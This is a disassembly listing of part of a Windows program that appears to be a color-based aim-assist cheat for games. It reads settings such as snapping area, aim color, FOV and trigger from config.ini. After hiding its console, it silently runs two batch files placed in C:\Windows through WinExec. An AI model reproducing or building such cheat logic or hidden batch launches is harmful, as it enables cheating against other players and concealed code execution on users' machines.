call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400064d9
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov dil, 1
jmp 0x1400064dc
xor dil, dil
mov rdx, qword [rsp + 0x60]
cmp rdx, r14
jbe 0x14000651b
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006516
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006516
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
test dil, dil
je 0x1400065f0
lea rdx, str.C:GG.lic
lea rcx, [rsp + 0x48]
call fcn.14000a930
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140004ee0
mov rdi, rax
lea rax, [rbp + 0x310]
cmp rax, rdi
je 0x1400065ab
cmp rsi, r14
jbe 0x14000658a
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140006582
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006582
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14006ed60
movups xmm0, xmmword [rdi]
xor eax, eax
movups xmm1, xmmword [rdi + 0x10]
mov qword [rdi + 0x10], rax
movups xmmword [rbp + 0x310], xmm0
mov qword [rdi + 0x18], r14
movups xmmword [rbp + 0x320], xmm1
mov byte [rdi], al
lea rcx, [rsp + 0x68]
call fcn.1400021a0
lea rdx, [rbp + 0x310]
lea rcx, [rsp + 0x68]
call fcn.14000a970
mov rdx, rax
lea rcx, [0x140090140]
call fcn.14001a710
cmp byte [0x140090350], r13b
je 0x140009686
mov rsi, qword [rbp + 0x328]
mov rbx, qword [rbp + 0x310]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___CONFIG_FOUNDED___
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Do_you_want_to_load_it__YES_OR_NO_:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x468]
call fcn.14000b580
mov r14, qword [rbp + 0x480]
lea rcx, [rbp + 0x468]
mov rdi, qword [rbp + 0x468]
cmp r14, 0xf
mov r13, qword [rbp + 0x478]
cmova rcx, rdi
cmp r13, 3
jne 0x140007a5b
mov r8, r13
lea rdx, [0x140081370]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007a5b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___CONFIG_LOADED___
call fcn.1400022e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.config.ini_loaded
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___CONFIGURATION___
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400807b9]
lea rcx, [rbp + 0x178]
call fcn.14000a930
lea rdx, str.hold_or_toggle
mov rdi, rax
lea rcx, [rbp + 0x158]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp + 0x1b8]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
lea rdx, [0x1400807b9]
mov r13, rax
lea rcx, [rbp + 0x1d8]
call fcn.14000a930
lea rdx, str.toggle_key
mov rdi, rax
lea rcx, [rbp + 0x1f8]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp + 0x218]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
lea rdx, [0x1400807b9]
mov r12, rax
lea rcx, [rbp + 0x238]
call fcn.14000a930
lea rdx, str.snapping_area
mov rdi, rax
lea rcx, [rbp + 0x198]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp + 0x258]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
lea rdx, [0x1400807b9]
mov r15, rax
lea rcx, [rbp + 0x278]
call fcn.14000a930
lea rdx, str.aim_color
mov rdi, rax
lea rcx, [rbp + 0x298]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp + 0x2b8]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
lea rdx, [0x1400807b9]
mov r14, rax
lea rcx, [rbp + 0x2d8]
call fcn.14000a930
lea rdx, str.trigger
mov rdi, rax
lea rcx, [rbp + 0x38]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp + 0x58]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Sensitivity_:
mov rsi, rax
call fcn.1400022e0
lea rdx, str.sensitivity
mov rdi, rax
lea rcx, [rbp + 0x78]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp + 0x98]
call fcn.14000a930
xorps xmm3, xmm3
lea rcx, [rbp + 0x330]
mov r8, rbx
mov rdx, rax
call fcn.1400038b0
movaps xmm1, xmm0
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Smoothing_:
call fcn.1400022e0
lea rdx, str.smoothing
mov rdi, rax
lea rcx, [rbp + 0xb8]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp + 0xd8]
call fcn.14000a930
xorps xmm3, xmm3
lea rcx, [rbp + 0x330]
mov r8, rbx
mov rdx, rax
call fcn.1400038b0
movaps xmm1, xmm0
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Mode_:
call fcn.1400022e0
mov rdi, rax
lea rdx, str.mode
lea rcx, [rbp + 0xf8]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp + 0x118]
call fcn.14000a930
mov r8, rbx
lea rcx, [rbp + 0x330]
mov rdx, rax
call fcn.1400036c0
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Trigger_:
call fcn.1400022e0
mov rdx, rsi
mov rcx, rax
call fcn.1400022b0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.___SETTINGS___
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Aim_Color_:
call fcn.1400022e0
mov rdx, r14
mov rcx, rax
call fcn.1400022b0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Snapping_Area_:
call fcn.1400022e0
mov rdx, r15
mov rcx, rax
call fcn.1400022b0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Toggle_Key_:
call fcn.1400022e0
mov rdx, r12
mov rcx, rax
call fcn.1400022b0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Hold___Toggle_:
call fcn.1400022e0
mov rdx, r13
mov rcx, rax
call fcn.1400022b0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.H_FOV_:
call fcn.1400022e0
lea rdx, str.hFov
mov rdi, rax
lea rcx, [rbp + 0x138]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r8, rbx
lea rcx, [rbp + 0x330]
mov rdx, rax
call fcn.1400036c0
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.V_FOV_:
call fcn.1400022e0
lea rdx, str.vFov
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x58]
call fcn.14000a930
mov r8, rbx
lea rcx, [rbp + 0x330]
mov rdx, rax
call fcn.1400036c0
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.1400021a0
lea rcx, [rsp + 0x48]
call fcn.1400021a0
lea rcx, [rbp + 0x468]
call fcn.1400021a0
lea rcx, [rbp + 0x358]
call fcn.1400021a0
lea rcx, [rbp + 0x10]
call fcn.1400021a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____SUCCESSFUL_LAUNCH_YOUR_GAME____
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____THIS_PROMPT_WILL_CLOSE_IN_5_SECONDS____
call fcn.1400022e0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov r15d, 1
lea rcx, str.C:Windows_rd.bat
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, r15d
lea rcx, str.C:Windows_rb.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.sensitivity
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
xorps xmm3, xmm3
lea rcx, [rbp + 0x330]
mov r8, rbx
mov rdx, rax
call fcn.1400038b0
xorps xmm1, xmm1
lea rdx, str.smoothing
cvtss2sd xmm1, xmm0
lea rcx, [rbp - 0x58]
movsd qword [rbp + 0x378], xmm1
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
xorps xmm3, xmm3
lea rcx, [rbp + 0x330]
mov r8, rbx
mov rdx, rax
call fcn.1400038b0
xorps xmm1, xmm1
lea rdx, str.mode
cvtss2sd xmm1, xmm0
lea rcx, [rbp - 0x58]
movsd qword [rbp + 0x380], xmm1
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
mov r8, rbx
lea rcx, [rbp + 0x330]
mov rdx, rax
call fcn.1400036c0
lea rdx, [0x1400807b9]
mov dword [rbp + 0x300], eax
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.trigger
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.TRUE
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
test bl, bl
je 0x140006e1c
movzx r13d, r15b
xor r14d, r14d
jmp 0x140006e9c
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.trigger
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.config
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.FALSE
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
xor al, al
mov r14d, 0
test bl, bl
movzx r13d, al
cmovne r13d, r14d
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.aim_color
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rdx, rax
lea rcx, [rbp + 0x428]
call fcn.14000a8a0
lea rcx, [rsp + 0x68]
call fcn.1400021a0
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.snapping_area
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.HEAD
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
test bl, bl
je 0x140006f85
mov dword [0x14009002c], r15d
jmp 0x14000707f
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.snapping_area
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.NECK
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
test bl, bl
je 0x140007003
mov dword [0x14009002c], 3
jmp 0x14000707f
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.snapping_area
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.CHEST
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
test bl, bl
je 0x14000707f
mov dword [0x14009002c], 8
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.toggle_key
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.Auto
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx esi, al
call fcn.1400021a0
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.toggle_key
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.LCLICK
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
test bl, bl
je 0x140007169
mov byte [rsp + 0x41], r15b
jmp 0x14000725f
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.toggle_key
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, [0x140080754]
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
test bl, bl
je 0x1400071e2
mov byte [rsp + 0x42], r15b
jmp 0x14000725f
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.toggle_key
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, [0x140080758]
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
mov eax, dword [rbp - 0x78]
test bl, bl
movzx eax, al
cmovne eax, r15d
mov dword [rbp - 0x78], eax
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.hold_or_toggle
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
lea rcx, [rsp + 0x68]
call fcn.1400021a0
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.hold_or_toggle
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.HOLD
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x40], al
call fcn.1400021a0
lea rdx, [0x1400807b9]
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.hold_or_toggle
mov rdi, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x18]
call fcn.14000a930
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x330]
call fcn.1400032b0
mov rcx, rax
lea rdx, str.Auto
call fcn.14000b3e0
lea rcx, [rsp + 0x68]
movzx ebx, al
call fcn.1400021a0
mov eax, esi
lea rdx, str.hFov
test bl, bl
lea rcx, [rbp - 0x58]
cmovne eax, r15d
mov dword [rbp + 0x2fc], eax
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
mov r8, rbx
lea rcx, [rbp + 0x330]
mov rdx, rax
call fcn.1400036c0
mov dword [0x140090028], eax
lea rdx, str.vFov
lea rcx, [rbp - 0x58]
call fcn.14000a930
lea rdx, str.settings
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.14000a930
mov r8, rbx
lea rcx, [rbp + 0x330]
mov rdx, rax
call fcn.1400036c0
lea rdx, str.PURPLE
mov dword [0x140090024], eax
lea rcx, [rbp + 0x428]
call fcn.14000b3e0
test al, al
je 0x14000743c
mov dword [0x140090020], r14d
jmp 0x14000745a
lea rdx, str.YELLOW
lea rcx, [rbp + 0x428]
call fcn.14000b3e0
test al, al
je 0x14000745a
mov dword [0x140090020], r15d
lea rcx, [rbp + 0x10]
call fcn.14000b770
mov rcx, rax
call fcn.140002c40
cmp dword [rbp + 0x18], 0
je 0x140007478
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp - 0x70]
call fcn.140002b60
lea rcx, [rbp - 0x68]
call fcn.140002b60
lea rcx, [rbp - 0x68]
call fcn.140002b60
lea rcx, [rbp + 0x420]
call fcn.140002b60
movd xmm0, dword [0x1400903b8]
xorps xmm8, xmm8
movsd xmm10, qword [0x140082bc8]
movsd xmm14, qword [0x140082ca0]
movaps xmm7, xmm10
divsd xmm7, qword [rbp + 0x378]
mov rbx, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x68]
mov esi, dword [rbp + 0x2f8]
mov r12, qword [rbp + 0x308]
movsd xmm11, qword [0x140082be0]
movsd xmm15, qword [0x140082be8]
movaps xmm9, xmm7
